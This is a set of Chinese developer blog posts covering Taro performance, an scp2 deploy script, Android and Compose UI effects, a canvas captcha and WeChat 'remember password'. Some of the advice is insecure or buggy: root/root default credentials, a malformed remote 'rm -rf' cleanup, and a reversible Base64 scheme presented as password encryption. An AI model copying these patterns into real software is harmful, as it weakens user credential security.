console.log(this.inst)
}
}

六、预告:小程序编译模式(CompileMode)


Taro 一直追求并不断突破性能的极限,除了以上提供的最佳实践,我们即将推出小程序编译模式(CompileMode)。


什么是 CompileMode?


前面已经说过,Taro3 是一种重运行时的框架,当节点数量增加到一定程度时,渲染性能会显著下降。 因此,为了解决这个问题,Taro 引入了 CompileMode 编译模式。


CompileMode 在编译阶段对开发者的代码进行扫描,将 JSXVue template 代码提前编译为相应的小程序模板代码。这样可以减少小程序渲染层虚拟 DOM 树节点的数量,从而提高渲染性能。 通过使用 CompileMode,可以有效减少小程序的渲染负担,提升应用的性能表现。


如何使用?


开发者只需为小程序的基础组件添加 compileMode 属性,该组件及其子组件将会被编译为独立的小程序模板。


function GoodsItem () {
return (
<View compileMode>
...
</View>

)
}


目前第一阶段的开发工作已经完成,我们即将发布 Beta 版本,欢迎大家关注!
想提前了解的可以查看 RFC 文档: github.com/NervJS/taro…



结尾


通过采用 Taro 的最佳实践,我们相信您的小程序应用性能一定会有显著的提升。未来,我们将持续探索更多优化方案,覆盖更广泛的应用场景,为开发者提供更高效、更优秀的开发体验。


作者:凹凸实验室
来源:juejin.cn/post/7304584222963613715
收起阅读 »

将文字复制到剪切板

web
笔者在开发过程中遇到点击按钮之后将文字复制到剪切板的需求,先将按钮的回调函数封装起来,便于以后使用,需要的朋友可以自取~ const _copyToClipboard = staticPart => dynamicPart => { i...
继续阅读 »

笔者在开发过程中遇到点击按钮之后将文字复制到剪切板的需求,先将按钮的回调函数封装起来,便于以后使用,需要的朋友可以自取~


  const _copyToClipboard = staticPart => dynamicPart => {
if (!dynamicPart) return;
const textToCopy = `${staticPart}${dynamicPart}`;
const tempInput = document.createElement('input');
tempInput.value = textToCopy;
document.body.appendChild(tempInput);
tempInput.select();
document.execCommand('copy');
document.body.removeChild(tempInput);
};

这个函数将复制到剪切板中的内容分成两个部分:静态的和动态的,因此在使用的时候可以这样做:


const copyFunc = _copyToClipboard('http://localhost:3000/api?id=');
copyFunc('678');
copyFunc('123');

作者:慕仲卿
来源:juejin.cn/post/7304538094783184937
收起阅读 »

前端黑科技篇章之scp2,让你一键打包部署服务器

web
scp2是一个使用nodejs对于SSH2的模拟实现,它可以让我们编译之后将项目推送至测试环境,以方便测试。 项目安装scp2 npm i scp2 -D 编写配置文件 创建scp2的配置文件 upload.server.js const serInfo =...
继续阅读 »

scp2是一个使用nodejs对于SSH2的模拟实现,它可以让我们编译之后将项目推送至测试环境,以方便测试。


项目安装scp2


npm i scp2 -D

编写配置文件


创建scp2的配置文件 upload.server.js


const serInfo = JSON.parse(process.env.npm_config_argv).cooked // 获取终端命令
const server = {
host: serInfo[2], // 服务器ip
port: '22', // 端口一般默认22
username: serInfo[3] || 'root', // 用户名
password: serInfo[4] || 'root', // 密码
pathNmae: '', // 上传到服务器的位置
locaPath: './dist/' // 本地打包文件的位置
}

const argv1 = process.argv
console.log(argv1)
console.log(serInfo)
// 引入scp2
const client = require('scp2')
const ora = require('ora')
const spinner = ora('正在发布到服务器...')

const Client = require('ssh2').Client
const conn = new Client()

console.log('正在建立连接')
conn.on('ready', () => {
console.log('已连接')
if (!server.pathNmae) {
console.log('连接已关闭')
conn.end()
return false
}

conn.exec('rm -rf' + server.pathNmae + '/*', (err, stream) => {
console.log(err + '删除文件')
stream.on('close', (code, signal) => {
console.log('开始上传')
spinner.start()
client.scp(server.locaPath, {
'host': server.host,
'port': server.port,
'username': server.username,
'password': server.password,
'path': server.pathNmae
}, err => {
spinner.stop()
if (!err) {
console.log('项目发布完毕')
} else {
console.log('err', err)
}
conn.end()
})
})
})
}).connect({
host: server.host,
port: server.port,
username: server.username,
password: server.password
// privateKey: '' // 私秘钥
})



配置package.json


image.png


两种上传方式,个人比较喜欢第二种哟



  1. build:pub:一键打包并上传服务器

  2. build:打包上传然后执行npm run publish 上传服务器


实战例子


弄好以上配置,在终端上敲 npm run build 然后再敲 npm run publish 得到以下结果。


image.png


已经发布到指定IP知道目录的服务器啦,这样我们就不用通过第三方ftp工具去上传了哦,是不是方便了很多,如果觉得该文章对你有帮助,请点个小赞赞吧。


作者:大码猴
来源:juejin.cn/post/6955070802035228685
收起阅读 »

谈谈外网刷屏的量子纠缠效果

web
大家好,我卡颂。 最近被一段酷炫的量子纠缠效果刷屏了: 原作者是@_nonfigurativ_,一位艺术家、程序员。 今天简单讲讲他的核心原理。 基础概念 首先我们需要知道两个概念: 屏幕坐标系,屏幕左上角就是屏幕坐标系的圆点 窗口坐标系,页面窗口...
继续阅读 »

大家好,我卡颂。


最近被一段酷炫的量子纠缠效果刷屏了:


acda85f4-d21d-407e-b433-b88a4a65468b.gif


原作者是@_nonfigurativ_,一位艺术家、程序员。



今天简单讲讲他的核心原理。


基础概念


首先我们需要知道两个概念:




  • 屏幕坐标系,屏幕左上角就是屏幕坐标系的圆点




  • 窗口坐标系,页面窗口左上角就是窗口坐标系的圆点





如果只用一台电脑,不外接屏幕的话,我们会有:




  • 一个屏幕坐标系




  • 打开几个页面,每个页面有各自的窗口坐标系




如果外接了屏幕(或外接pad),那么就存在多个屏幕坐标系,这种情况的计算需要用到管理屏幕设备的API —— window.getScreenDetails,在本文的讨论中不涉及这种情况。


当我们打开一个新页面窗口,窗口的左上角就是窗口坐标系的圆点,如果要在页面正中间画个圆,那圆心的窗口坐标系坐标应该是(window.innerWidth / 2, window.innerHeight / 2)



对于一个打开的窗口:




  • 他的左上角相对于屏幕顶部的距离为window.screenTop




  • 他的左上角相对于屏幕左边的距离为window.screenLeft





所以,我们可以轻松得出圆的圆心在屏幕坐标系中的坐标:



位置检测


在效果中,当打开两个页面,他们能感知到对方的位置并作出反应,这是如何实现的呢?



当前,我们已经知道圆心在屏幕坐标系中的坐标。如果打开多个页面,就会获得多个圆心的屏幕坐标系坐标


现在需要做的,就是让这些页面互相知道对方的坐标,这样就能向对应的方向做出连接的特效。


同源网站跨页面通信的方式有很多,比如:




  • Window.postMessage




  • LocalStorageSessionStorage




  • SharedWorker




  • BroadcastChannel




甚至Cookie也能用于跨页面通信(可以在同源的所有页面之间共享)。


在这里作者使用的是LocalStorage



只需要为每个页面生成一个唯一ID


const pageId = Math.random().toString(36).substring(2); // 生成一个随机的页面ID

每当将圆心最新坐标存储进LocalStorage时:


localStorage.setItem(
pageId,
JSON.stringify({
x: window.screenX,
y: window.screenY,
width: window.innerWidth,
height: window.innerHeight,
})
);

在另一个页面通过监听storage事件就能获取对方圆心的屏幕坐标系坐标


window.addEventListener("storage", (event) => {
if (event.key !== pageId) {
// 来自另一个页面
const { x, y } = JSON.parse(event.newValue);
// ...
}
});

再将对方圆心的屏幕坐标系坐标转换为自身的窗口坐标系坐标,并在该坐标绘制一个圆,就能达到类似窗口叠加后,下面窗口的画面出现在上面窗口内的效果。


通俗的讲,所有页面都会绘制其他页面的圆,只是有些圆在页面窗口外,看不见罢了。



考虑到页面性能,检测圆心的屏幕坐标系坐标渲染圆相关操作可以放到requestAnimationFrame回调中执行。


后记


上述只是该效果的核心原理。要完全复刻效果,还得考虑:




  • 渲染大量粒子(我们示例中用代替),且多窗口通信时的性能问题




  • 窗口移动时的阻尼效果




  • 当前的实现是在同一个屏幕坐标系中,如果要跨屏幕实现,需要使用window.getScreenDetails




不得不感叹跨界(作者是艺术家 + 程序员)迸发的想象力真的不一般。



作者:魔术师卡颂
来源:juejin.cn/post/7304531203771301923
收起阅读 »

[自定义View]一个简单的渐变色ProgressBar

web
Android原生ProgressBar 原生ProgressBar样式比较固定,主要是圆形和线条;也可以通过style来设置样式。 style: style效果@android:style/Widget.ProgressBar.Horizontal水平进...
继续阅读 »

Android原生ProgressBar



原生ProgressBar样式比较固定,主要是圆形和线条;也可以通过style来设置样式。



style:


style效果
@android:style/Widget.ProgressBar.Horizontal水平进度条
@android:style/Widget.ProgressBar.Small小型圆形进度条
@android:style/Widget.ProgressBar.Large大型圆形进度条
@android:style/Widget.ProgressBar.Inverse反色进度条
@android:style/Widget.ProgressBar.Small.Inverse反色小型圆形进度条
@android:style/Widget.ProgressBar.Large.Inverse反色大型圆形进度条
@android:style/Widget.Material**MD风格

原生的特点就是单调,实现基本的功能,使用简单样式不复杂;要满足我们期望的效果就只能自定义View了。


自定义ProgressBar



自定义View的实现方式有很多种,继承已有的View,如ImageView,ProgressBar等等;也可以直接继承自View,在onDraw中绘制需要的效果。
要实现的效果是一个横向圆角矩形进度条,内容为渐变色。
所以在设计时要考虑到可以定义的属性:渐变色、进度等。



<?xml version="1.0" encoding="utf-8"?>
<resources>
<declare-styleable name="progress">
<attr name="progress" format="float" />
<attr name="startColor" format="color" />
<attr name="endColor" format="color" />
</declare-styleable>
</resources>

View实现



这里直接继承子View,读取属性,在onDraw中绘制进度条。实现思路是通过定义Path来绘制裁切范围,确定绘制内容;再实现线性渐变LinearGradient来填充进度条。然后监听手势动作onTouchEvent,动态绘制长度。


同时开放公共方法,可以动态设置进度颜色,监听进度回调,根据需求实现即可。



package com.cs.app.view

/**
*
*/

import android.content.Context
import android.graphics.Canvas
import android.graphics.Color
import android.graphics.LinearGradient
import android.graphics.Paint
import android.graphics.Path
import android.graphics.RectF
import android.graphics.Shader
import android.util.AttributeSet
import android.view.View
import com.cs.app.R

class CustomProgressView(context: Context, attrs: AttributeSet?) : View(context, attrs) {
private val progressPaint = Paint()
private val backgroundPaint = Paint()
private var progress = 50f
private var startColor = Color.parseColor("#4C87B7")
private var endColor = Color.parseColor("#A3D5FE")
private var x = 0f
private var progressCallback: ProgressChange? = null

init {
// 初始化进度条画笔
progressPaint.isAntiAlias = true
progressPaint.style = Paint.Style.FILL

// 初始化背景画笔
backgroundPaint.isAntiAlias = true
backgroundPaint.style = Paint.Style.FILL
backgroundPaint.color = Color.GRAY

if (attrs != null) {
val typedArray = context.obtainStyledAttributes(attrs, R.styleable.progress)
startColor = typedArray.getColor(R.styleable.progress_startColor, startColor)
endColor = typedArray.getColor(R.styleable.progress_endColor, endColor)
progress = typedArray.getFloat(R.styleable.progress_progress, progress)
typedArray.recycle()
}
}

override fun onDraw(canvas: Canvas) {
super.onDraw(canvas)

val width = width.toFloat()
val height = height.toFloat()

//绘制Path,限定Canvas边框
val path = Path()
path.addRoundRect(0f, 0f, width, height, height / 2, height / 2, Path.Direction.CW)
canvas.clipPath(path)

//绘制进度条
val progressRect = RectF(0f, 0f, width * progress / 100f, height)
val colors = intArrayOf(startColor, endColor)
val shader = LinearGradient(0f, 0f, width * progress / 100f, height, colors, null, Shader.TileMode.CLAMP)
progressPaint.shader = shader
canvas.drawRect(progressRect, progressPaint)
}

override fun onTouchEvent(event: android.view.MotionEvent): Boolean {
when (event.action) {
android.view.MotionEvent.ACTION_DOWN -> {
x = event.rawX

//实现点击调整进度
progress = (event.rawX - left) / width * 100
progressCallback?.onProgressChange(progress)
invalidate()
}

android.view.MotionEvent.ACTION_MOVE -> {
//实现滑动调整进度
progress = (event.rawX - left) / width * 100
progress = if (progress < 0) 0f else if (progress > 100) 100f else progress
progressCallback?.onProgressChange(progress)
invalidate()
}

else -> {}
}
return true
}

fun setProgress(progress: Float) {
this.progress = progress
invalidate()
}

fun setOnProgressChangeListener(callback: ProgressChange) {
progressCallback = callback
}

interface ProgressChange {
fun onProgressChange(progress: Float)
}
}

示例


class CustomViewActivity : AppCompatActivity() {
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
setContentView(R.layout.activity_custom_view)
val progressTv: TextView = findViewById(R.id.progress_textview)
val view: CustomProgressView = findViewById(R.id.progress)
view.setProgress(50f)

view.setOnProgressChangeListener(object : CustomProgressView.ProgressChange {
override fun onProgressChange(progress: Float) {
progressTv.text = "${progress.toInt()}%"
}
})
}
}

<?xml version="1.0" encoding="utf-8"?>
<androidx.constraintlayout.widget.ConstraintLayout xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:app="http://schemas.android.com/apk/res-auto"
android:layout_width="match_parent"
android:background="#0E1D3C"
android:layout_height="match_parent">


<com.cs.app.view.CustomProgressView
android:id="@+id/progress"
android:layout_width="200dp"
android:layout_height="45dp"
app:endColor="#A3D5FE"
app:layout_constraintBottom_toBottomOf="parent"
app:layout_constraintEnd_toEndOf="parent"
app:layout_constraintStart_toStartOf="parent"
app:layout_constraintTop_toTopOf="parent"
app:layout_constraintVertical_bias="0.274"
app:progress="60"
app:startColor="#4C87B7" />


<TextView
android:id="@+id/progress_textview"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:layout_marginTop="100dp"
android:textColor="#ffffff"
app:layout_constraintEnd_toEndOf="parent"
app:layout_constraintStart_toStartOf="parent"
app:layout_constraintTop_toBottomOf="@+id/progress" />

</androidx.constraintlayout.widget.ConstraintLayout>

效果如下:


HnVideoEditor_2023_11_23_144034156.gif
作者:LANFLADIMIR
来源:juejin.cn/post/7304531564342837287
收起阅读 »

前端半自动化部署

web
在前端项目部署时,通常会经历以下步骤: 构建项目:在部署之前,需要使用相应的构建工具(如Webpack、Vite等)对项目进行构建,生成生产环境所需的静态文件(如HTML、CSS、JavaScript、图片等)。构建过程中通常会进行代码压缩、打包、资源优化...
继续阅读 »

在前端项目部署时,通常会经历以下步骤:


image.png



  1. 构建项目:在部署之前,需要使用相应的构建工具(如WebpackVite等)对项目进行构建,生成生产环境所需的静态文件(如HTMLCSSJavaScript、图片等)。构建过程中通常会进行代码压缩、打包、资源优化等操作。

  2. 选择部署方式:根据项目的实际需求,选择适合的部署方式。常见的部署方式包括将静态文件部署到静态文件托管服务(如NetlifyVercelGitHub Pages等)、与后端API服务一起部署到云服务器(如AWS、阿里云、腾讯云等)等。

  3. 配置域名和SSL证书:如果你有自定义域名,需要在域名服务商处将域名解析到部署好的静态文件托管服务或云服务器上。同时,为了保障网站的安全性,建议配置SSL证书,使网站能够通过HTTPS协议进行访问。

  4. 持续集成/持续部署(CI/CD :可以考虑使用CI/CD工具(如GitHub ActionsGitLab CITravis CI等)来实现自动化的构建和部署流程,以提高开发效率并确保部署过程的稳定性。

  5. 性能优化:在部署完成后,可以对网站进行性能优化,包括使用CDN加速、资源压缩、缓存配置等,以提高网站的加载速度和用户体验。

  6. 监控和日志:部署完成后,建议设置监控系统以及日志记录系统,及时发现和解决线上问题。


具体的部署流程会因项目和需求的不同而有所差异。


本文从部署方案一步步做实践,最终实现半自动化部署,当然也可以直接使用Docker或其他方案实现自动化部署。


手动化的部署流程是利用xshell连接服务器,利用xftp进行文件传输。操作流程相对比较原始化。


image.png


假如要实现协同开发人员可以实现共同部署,并且可以减去每次部署都要打开xshell。可以写一段脚本实现连接服务器进行文件传输过程,保证打包后能够运行脚本自动化上传文件。


首先要解决连接服务器问题,可以通过ssh实现。(ftpssh是两种常用的远程文件传输协议,可以高效地将代码上传到服务器。)


await ssh.connect({
host: '主机名',
username: '用户名',
password: '密码'
})

服务器连接成功后,可以进行文件传输


await ssh.putDirectory('本地目录路径', '远程目录路径', {
recursive: true, // 上传整个目录
concurrency: 10, // 同时上传的文件数量
tick(localPath, remotePath, error) { // 通过tick回调函数来监听上传过程中的状态
if(error) {
console.log(`无法上传${localPath}${remotePath}${error}`)
} else {
console.log(`${localPath}上传至${remotePath}`)
}
}
})

此时即可实现脚本的基本功能,只需要在每次npm run build结束后,自动执行这段脚本即可。


因此,只需要在package.json文件中scripts命令下添加一行代码即可。


"build:deploy": "vue-cli-service build && node deploy.js"

这段代码因不同的框架版本可能有所不同,只需要在普通npm run build执行内容后面拼接node deploy.jsdeploy.js就是我们所写的脚本文件。


打包完之后,上传文件过程如图所示,非常丝滑:


企业微信截图_17006194685935.png


此时会有一个问题,打包的dist文件每次上传至服务器时,dist文件一直被覆盖,无法实现按版本回滚。


只需要在上传之前,修改服务器旧的dist文件名,这样旧版本就得以保存。


// 判断服务器dist文件是否存在
let newDistExist = await ssh.execCommand(`ls 旧版本`)
while(newDistExist.code === 0) {
i ++
newDistExits = await ssh.execCommand(`ls 旧版本i`)
}
// 重命名旧版本dist文件
await ssh.execCommand(`mv 旧版本 新版本`)

此时即可实现旧版本保存,以便可以按版本实现回滚操作。


上述过程仅仅是针对个人打包上传服务器,如果想要实现协同开发,则要实现代码共享(例如上传git仓库),为了安全性,账号密码不能以明文暴露。


可以采取以下三种方案,当然没有绝对意义上的安全。



  1. terminal实现账号密码输入


可以利用password-prompt插件,它可以帮助你在命令行中以安全的方式提示用户输入密码。


const getUserInfo = async() => {
const username = await passwordPrompt('输入用户名:')
const password = await passwordPrompt('输入密码:', { method: 'hide' })
return { username, password }
}

将输入的usernamepassword传到远程服务器进行校验即可。



  1. 账号密码加密


由于代码要上传git,所以可以在git上传前进行加密处理,调用gitpre-commit钩子,执行加密,每次pull时候进行解密处理,调用post-merge钩子,调用post-merge钩子时候仅仅需要输入解密口令即可。解密口令只需要做到组员共享即可,此时的解密口令同样可以借助password-prompt插件进行输入。相对第一种方案,输入的内容更少了😂。


const crypto = require('crypto') // 密钥和加密算法 
const secretKey = 'your-secret-key' // 这里替换为你自己的密钥
const algorithm = 'aes-256-cbc' // 使用的加密算法
function decryptData(encryptedData) {
const decipher = crypto.createDecipher(algorithm, secretKey)
let decryptedData = decipher.update(encryptedData, 'hex', 'utf8')
decryptedData += decipher.final('utf8')
return decryptedData
}
// 从环境变量或其他安全方式获取加密的敏感信息
const encryptedInfo = process.env.ENCRYPTED_INFO // 这里假设加密的信息存储在环境变量中
// 解密敏感信息
const decryptedInfo = decryptData(encryptedInfo)
// 在这里使用解密后的敏感信息进行后续操作
console.log('Decrypted info:', decryptedInfo)

git的钩子函数可以采用git hooks工具哈士奇(husky)进行配置,具体配置方式不再赘述。


以上就是本文在前端半自动化部署方面的探索,大家可以贡献自己的想法/做法呀!


作者:一颗多愁善感的派大星j
来源:juejin.cn/post/7303862023618805795
收起阅读 »

极简原生js图形验证码

web
       前天接到需求要在老项目登陆界面加上验证码功能,因为是内部项目且无需短信验证环节,那就直接用原生js写一个简单的图形验证码。 示例: 思路:此处假设验证码为4位随机数值,数值刷新满足两个条件①页面新进/刷新。②点击图片刷新。(实际情况下还要考虑...
继续阅读 »

       前天接到需求要在老项目登陆界面加上验证码功能,因为是内部项目且无需短信验证环节,那就直接用原生js写一个简单的图形验证码。


示例:


1700643433840.png



思路:此处假设验证码为4位随机数值,数值刷新满足两个条件①页面新进/刷新。②点击图片刷新。(实际情况下还要考虑登录出错刷新,此处只做样式不写进去)
实现过程为1.先写一个canvas标签做绘图容器。    →     2.将拿到的值绘制到容器中并写好样式。    →     3.点击刷新重新绘制。



写一个canvas标签当容器


<canvas
style="width: 100px;border: 2px solid rgb(60, 137, 209);background-image: url('https://gd-hbimg.huaban.com/aa3c7f23dfdc7b2d317aa4b77bd6c7b8469564d2dfa8b-Btd5c6_fw658webp');"
id="captchaCanvas">
</canvas>

并设置容器宽高背景颜色或图片等样式


写一个数值绘制到canvas的方法


//text为传递的数值
function generateCaptcha(text, callback) {
var canvas = document.getElementById('captchaCanvas');
var ctx = canvas.getContext('2d');
// 设置字体及大小
ctx.font = '100px Comic Sans MS';
// 设置字体颜色
ctx.fillStyle = 'rgb(' + Math.floor(Math.random() * 256) + ', ' + Math.floor(Math.random() * 256) + ', ' + Math.floor(Math.random() * 256) + ')';
// 调整文字图形位置
ctx.textAlign = 'left';
ctx.textBaseline = 'top';
// 调整阴影范围
ctx.shadowBlur = Math.random() * 20;
// 调整阴影颜色
ctx.shadowColor = 'rgb(' + Math.floor(Math.random() * 256) + ', ' + Math.floor(Math.random() * 256) + ', ' + Math.floor(Math.random() * 256) + ')';
// 调整阴影位置(偏移量)
ctx.shadowOffsetX = Math.random() * 10;
ctx.shadowOffsetY = Math.random() * 10;
// 绘制文字图形及其偏移量
ctx.fillText(text, 25, 35);
// 绘制文字边框及其偏移量
ctx.strokeText(text, Math.random() * 35, Math.random() * 45);

var imgDataUrl = canvas.toDataURL();
callback(imgDataUrl);

}

拿到数值调用绘制方法



此处为样式示例,因此数值我用4位随机数表示,实际情况为你从后端取得的值,并依靠这个值在后端判断验证码是否一致。



// 调用函数生成验证码并显示在页面上  
generateCaptcha(Math.floor(Math.random() * 9000) + 1000, function (imgDataUrl) { });

监听标签点击实现点击刷新



此处要注意一定要先清空canvas中已绘制图像再渲染新数值,因此直接将清除范围设置较大。



 // 监听点击更新验证码
document.getElementById("captchaCanvas").addEventListener("click", function (event) {
// 清空画布
document.getElementById("captchaCanvas").getContext("2d").clearRect(0, 0, 9999, 9999);
// 调用函数生成验证码并显示在页面上
generateCaptcha(Math.floor(Math.random() * 9000) + 1000, function (imgDataUrl) { });
})

最后实现效果:


1700645148990.png


完整代码演示


<!DOCTYPE html>
<html>

<head>
<title>String to Captcha</title>
</head>

<body>
<canvas
style="width: 100px;border: 2px solid rgb(60, 137, 209);background-image: url('https://gd-hbimg.huaban.com/aa3c7f23dfdc7b2d317aa4b77bd6c7b8469564d2dfa8b-Btd5c6_fw658webp');"
id="captchaCanvas">
</canvas>


<script>
// 监听点击更新验证码
document.getElementById("captchaCanvas").addEventListener("click", function (event) {
// 清空画布
document.getElementById("captchaCanvas").getContext("2d").clearRect(0, 0, 9999, 9999);
// 调用函数生成验证码并显示在页面上
generateCaptcha(Math.floor(Math.random() * 9000) + 1000, function (imgDataUrl) { });
})

function generateCaptcha(text, callback) {
var canvas = document.getElementById('captchaCanvas');
var ctx = canvas.getContext('2d');
// 设置字体及大小
ctx.font = '100px Comic Sans MS';
// 设置字体颜色
ctx.fillStyle = 'rgb(' + Math.floor(Math.random() * 256) + ', ' + Math.floor(Math.random() * 256) + ', ' + Math.floor(Math.random() * 256) + ')';
// 调整文字图形位置
ctx.textAlign = 'left';
ctx.textBaseline = 'top';
// 调整阴影范围
ctx.shadowBlur = Math.random() * 20;
// 调整阴影颜色
ctx.shadowColor = 'rgb(' + Math.floor(Math.random() * 256) + ', ' + Math.floor(Math.random() * 256) + ', ' + Math.floor(Math.random() * 256) + ')';
// 调整阴影位置(偏移量)
ctx.shadowOffsetX = Math.random() * 10;
ctx.shadowOffsetY = Math.random() * 10;
// 绘制文字图形及其偏移量
ctx.fillText(text, 25, 35);
// 绘制文字边框及其偏移量
ctx.strokeText(text, Math.random() * 35, Math.random() * 45);

var imgDataUrl = canvas.toDataURL();
callback(imgDataUrl);

}

// 调用函数生成验证码并显示在页面上
generateCaptcha(Math.floor(Math.random() * 9000) + 1000, function (imgDataUrl) { });
</script>
</body>

</html>

作者:方苕爱吃瓜
来源:juejin.cn/post/7304182005285830693
收起阅读 »

[compose] 仿刮刮乐效果

web
需求 下班路上新开了一家彩-票店,路过时总是心痒,本着小D怡情的心态,偶尔去刮几张,可是随着时间久了,发现也花了不少钱,看网上有人开发电子木鱼,突然奇想,为什么不做一张电子彩-票。 分析 传统View,网上有很多解决方案,大多数是通过混合模式进行两个图层的合并...
继续阅读 »

需求


下班路上新开了一家彩-票店,路过时总是心痒,本着小D怡情的心态,偶尔去刮几张,可是随着时间久了,发现也花了不少钱,看网上有人开发电子木鱼,突然奇想,为什么不做一张电子彩-票。


分析


传统View,网上有很多解决方案,大多数是通过混合模式进行两个图层的合并。


大致思路:

1、使用onDraw()方法中的Canvas绘制底层中奖层

2、在上面绘制一个蒙版层Bitmap, 在蒙版层Bitmap里面,放置一个新的Canvas

3、绘制一个灰色的矩阵,绘制一个path,将paint的Xfermode设置为 PorterDuff.Mode.DST_IN
4、手指移动时,更新Path路径


Compose实现

1、通过实现DrawModifier,重写draw() 方法

2、绘制原始内容层,drawContent()
3、绘制蒙版和手势层,


//配置画笔 blendMode = Xfermode
private val pathPaint = Paint().apply {
alpha = 0f
style = PaintingStyle.Stroke
strokeWidth = 70f
blendMode = BlendMode.SrcIn
strokeJoin = StrokeJoin.Round
strokeCap = StrokeCap.Round
}

drawIntoCanvas {
//设置画布大小尺寸
val rect = Rect(0f, 0f, size.width, size.height)
//从原始画布层,转换一个新的画布层
it.saveLayer(rect, layerPaint)
//设置新画布大小尺寸
it.drawRect(rect, layerPaint)
startPath.lineTo(moveOffset.x, moveOffset.y)
//绘制手指移动path
it.drawPath(startPath, pathPaint)
it.restore()
}

完整代码


fun ScrapeLayePage(){
var linePath by remember { mutableStateOf(Offset.Zero) }
val path by remember { mutableStateOf(Path()) }
Column(modifier = Modifier
.fillMaxWidth()
.pointerInput("dragging") {
awaitEachGesture {
while (true) {
val event = awaitPointerEvent()
when (event.type) {
//按住时,更新起始点
Press -> {
path.moveTo(
event.changes.first().position.x,
event.changes.first().position.y
)
}
//移动时,更新起始点 移动时,记录路径path
Move -> {
linePath = event.changes.first().position
}
}
}
}
}
.scrapeLayer(path, linePath)
) {
Image(
modifier = Modifier.fillMaxWidth(),
painter = painterResource(id = R.mipmap.cat),
contentDescription = ""
)
Text(text = "这是一只可爱的猫咪~~")
}
}

fun Modifier.scrapeLayer(startPath: Path, moveOffset: Offset) =
this.then(ScrapeLayer(startPath, moveOffset))

class ScrapeLayer(private val startPath: Path, private val moveOffset: Offset) : DrawModifier {

private val pathPaint = Paint().apply {
alpha = 0f
style = PaintingStyle.Stroke
strokeWidth = 70f
blendMode = BlendMode.SrcIn
strokeJoin = StrokeJoin.Round
strokeCap = StrokeCap.Round
}

private val layerPaint = Paint().apply {
color = Color.Gray
}

override fun ContentDrawScope.draw() {
drawContent()
drawIntoCanvas {
val rect = Rect(0f, 0f, size.width, size.height)
//从当前画布,裁切一个新的图层
it.saveLayer(rect, layerPaint)
it.drawRect(rect, layerPaint)
startPath.lineTo(moveOffset.x, moveOffset.y)
it.drawPath(startPath, pathPaint)
it.restore()
}
}
}

图片.png

参考资料



作者:Gx
来源:juejin.cn/post/7303075105390133259
收起阅读 »

微信小程序记住密码,让登录解放双手

web
密码是用户最重要的数据,也是系统最需要保护的数据,我们在登录的时候需要用账号密码请求登录接口,如果用户勾选记住密码,那么下一次登录时,我们需要将账号密码回填到输入框,用户可以直接登录系统。我们分别对这种流程进行说明: 记住密码 在请求登录接口成功后,我们需要判...
继续阅读 »

密码是用户最重要的数据,也是系统最需要保护的数据,我们在登录的时候需要用账号密码请求登录接口,如果用户勾选记住密码,那么下一次登录时,我们需要将账号密码回填到输入框,用户可以直接登录系统。我们分别对这种流程进行说明:


记住密码


在请求登录接口成功后,我们需要判断用户是否勾选记住密码,如果是,则将记住密码状态账号信息存入本地。
下次登录时,获取本地的记住密码状态,如果为true则获取本地存储的账号信息,将信息回填登录表单。

在这里插入图片描述

在这里插入图片描述


密码加密


我在这里例举两种加密方式MD5Base64
MD5:
1、不可逆
2、任意长度的明文字符串,加密后得到的固定长度的加密字符串
3、实质是一种散列表的计算方式


Base64:
1、可逆性
2、可以将图片等二进制文件转换为文本文件
3、可以把非ASCII字符的数据转换成ASCII字符,避免不可见字符
4、实质是 一种编码格式,如同UTF-8


我们这里使用Base64来为密码做加密处理。


npm install --save js-base64

引入Base64


// js中任意位置都可引入
let Base64 = require('js-base64').Base64;

可以通过encodedecode对字符串进行加密和解密


let Base64 = require('js-base64').Base64;

let pwd = Base64.encode('a123456');
console.log(pwd); // YTEyMzQ1Ng==

let pws2 = Base64.decode('YTEyMzQ1Ng==');
console.log(pwd2); // a123456

到这里我们对密码的简单加密和解密就完成了。
需要注意的是,Base64是可以解密的,所以单纯使用Base64进行加密是不安全的,所以我们要对Base64进行二次加密操作,生成一个随机字符串 + Base64的加密字符。


/***
*
@param {number} num 需要生成多少位随机字符
*
@return {string} 生成的随机字符
*/

const randomString = (num) => {
let str = "",
arr = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'];
let index = null;
for (let i = 0; i < num; i++) {
index = Math.round(Math.random() * (arr.length - 1));
str += arr[index];
}
return str;
}

调用randomString函数,根据你传入的数字来生成指定长度的随机字符串,然后将随机字符串与Base64生成的随机字符凭借,完成对密码的二次加密。


let pwd = randomWord(11) + Base64.encode(password); // J8ndUzNIPTtYTEyMzQ1Ng==

到这里就完成了密码加密操作。
在用户登录时,将账号密码存入本地,存入本地方式有很多,例如:CookieslocalStoragesessionStorage等,关于使用方法网上有很多,这里我们使用微信小程序的存储方式wx.setStorageSyn


// 我们这里使用微信小程序的存储方式wx.setStorageSync
let account = {
username: 'test‘,
password: pwd
}
wx.setStorageSync('
account', account)

在这里插入图片描述


二次登录


用户勾选记住密码后,第二次进入系统,直接从本地获取账号密码,对密码进行解密后回填到表单。
先判断用户是否勾选记住密码,然后对密码进行解密。


init() {
let state = wx.getStorageSync('rememberMe')
if (state) {
let account = wx.getStorageSync('account')
let Base64 = require('js-base64').Base64;
let pwd = Base64.decode(account.password.slice(11))
this.setData({
username: account.username,
password: pwd
})
}
this.setData({ rememberMe: state })
}

将解密后的数据回显到表单上,用户就可以直接登录了。


最后


关于记住密码业务,需要保证用户的密码是加密存储,这里用的是微信小程序示例,在web上的流程也是如此,你可以在vue项目中使用本文提到的方法。


作者:DCodes
来源:juejin.cn/post/7303739766106472488
收起阅读 »

登录是前端做全栈的必修课

web
如何在前端实现自动或无感化的登录态管理,包括用户注册、登录、接口校验登录态以及实现自动化请求时自动携带访问令牌。我们将探讨两种常见的实现方式:使用 HTTP Cookie 和前端存储和发送访问令牌。 1. 注册和登录 首先,用户需要通过注册和登录来获取访问令牌...
继续阅读 »

